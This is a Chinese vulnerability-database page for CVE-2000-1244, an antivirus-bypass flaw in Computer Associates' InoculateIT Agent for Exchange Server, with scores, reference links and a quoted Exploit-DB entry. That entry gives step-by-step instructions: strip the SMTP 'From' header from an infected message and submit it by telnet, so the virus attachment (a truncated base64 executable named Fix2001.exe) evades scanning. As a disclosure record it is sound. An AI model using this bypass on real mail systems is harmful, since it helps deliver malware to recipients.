CVE-2000-1244
CVSS7.5
发布时间 :2000-12-31 00:00:00
修订时间 :2008-09-05 16:23:01
NMCOE    

[原文]Computer Associates InoculateIT Agent for Exchange Server does not recognize an e-mail virus attachment if the SMTP header is missing the "From" field, which allows remote attackers to bypass virus protection.


[CNNVD]Exchange Server病毒绕过漏洞(CNNVD-200012-196)

        Exchange Server中的Computer Associates InoculateIT Agent如果SMTP头丢失在"From"域中则不能识别电子邮件病毒附件,远程攻击者可以绕过病毒保护。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: NETWORK [攻击者不需要获取内网访问权或本地访问权]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1244
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-1244
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200012-196
(官方数据源) CNNVD

- 其它链接及资源

http://archives.neohapsis.com/archives/bugtraq/2000-11/0158.html
(UNKNOWN)  BUGTRAQ  20001110 CA's InoculateIT Agent for Exchange Server

- 漏洞信息

Exchange Server病毒绕过漏洞
高危 未知
2000-12-31 00:00:00 2000-12-31 00:00:00
远程  
        Exchange Server中的Computer Associates InoculateIT Agent如果SMTP头丢失在"From"域中则不能识别电子邮件病毒附件,远程攻击者可以绕过病毒保护。

- 公告与补丁

        

- 漏洞信息 (20401)

Computer Associates InoculateIT 4.53 MS Exchange Agent Vulnerability (EDBID:20401)
windows local
2000-11-10 Verified
0 Hugo Caye
N/A [点击下载]
source : http://www.securityfocus.com/bid/1935/info

InoculateIT 4.52 is a popular antivirus agent for Microsoft Exchange Servers.

A vulnerability exists in the InoculateIT Agent for MS Exchange that can allow a local attacker to pass a virus through both the agent and MS Exchange Server. There are reportedly numerous methods by which this can be accomplished, one of which is to remove the "From:" field in a infected message (MIME attachment included) and submit the message to the Exchange server. The Inoculate Agent will not detect the infected file when it is submitted in this manner. 

If different organizations are using MS Exchange Server and InoculateIT Agents (with MS IMC being used to send the messages) the following vulnerabilities can exist:

If a message is sent with only an infected file in the body of the message and no text, the Inoculate IT Agents will not detect the virus.

If a message contains embedded characters and an infected attachment, InoculateIT will not open the attachment for scanning.

InoculateIT only scans for messages destined for an Inbox folder. If a ruleset exists on the server whereby messages are directed to another mailbox, an infected file can bypass virus scanning.

1. Get a message containing any infected attached MIME encoded file. I
simply filtered out via EX to C:\TurfDir sending from outside to EX;

2. Edit the file (I used MS Notepad.exe) and just remove the "From:
..." line from the SMTP header. Something like this:

Remove this line: From: Test <Test@abc.com.br>
To: Joe Bob <jbob@xyz.com.br>
Subject: Test
Date: Mon, 23 Oct 2000 10:59:53 -0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: application/x-msdownload;
name=3D"Fix2001.exe"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
filename=3D"Fix2001.exe"

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAsAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4g
aW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABjDAXbJ21riCdta4gnbWuIJ21riGRta4ikcWWIJm
1riFJpY2gnbWuIAAAAAAAAAABQRQAATAEDAJ/L0zcAAAAAAAAAAOAADwELAQUMABoAAAAA
AgAAAAAAABAAAAAQAAAAMAAA... 

3. Copy the Notepad content to clipboard;

4. Issue "telnet your_exsrvr 25" command:

220 aaa.xyz.com.br ESMTP Server (Microsoft Exchange Internet Mail
Service 5.5.2650.21) ready
helo
250 OK
mail from:<>
250 OK - mail from <>
rcpt to:<jbob@xyz.com.br>
250 OK - Recipient <jbob@xyz.com.br>
data
354 Send data. End with CRLF.CRLF

Here, paste from clipboard (Win2K, just a mouse right-click).
Something like this:

To: Joe Bob <jbob@xyz.com.br>
Subject: Test
Date: Mon, 23 Oct 2000 10:59:53 -0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: application/x-msdownload;
name=3D"Fix2001.exe"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
filename=3D"Fix2001.exe"

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAsAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4g
aW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABjDAXbJ21riCdta4gnbWuIJ21riGRta4ikcWWIJm
1riFJpY2gnbWuIAAAAAAAAAABQRQAATAEDAJ/L0zcAAAAAAAAAAOAADwELAQUMABoAAAAA
AgAAAAAAABAAAAAQAAAAMAAA... 

250 OK
quit
221 closing connection

5. Message sent, CA's Agent will not detect the infected file.		

- 漏洞信息

4733
InoculateIT Agent for Exchange Server Malformed Mail Header Virus Scan Bypass
Remote / Network Access Other
Loss of Integrity
Exploit Public Uncoordinated Disclosure

- 漏洞描述

- 时间线

2000-11-10 Unknow
2000-11-10 Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

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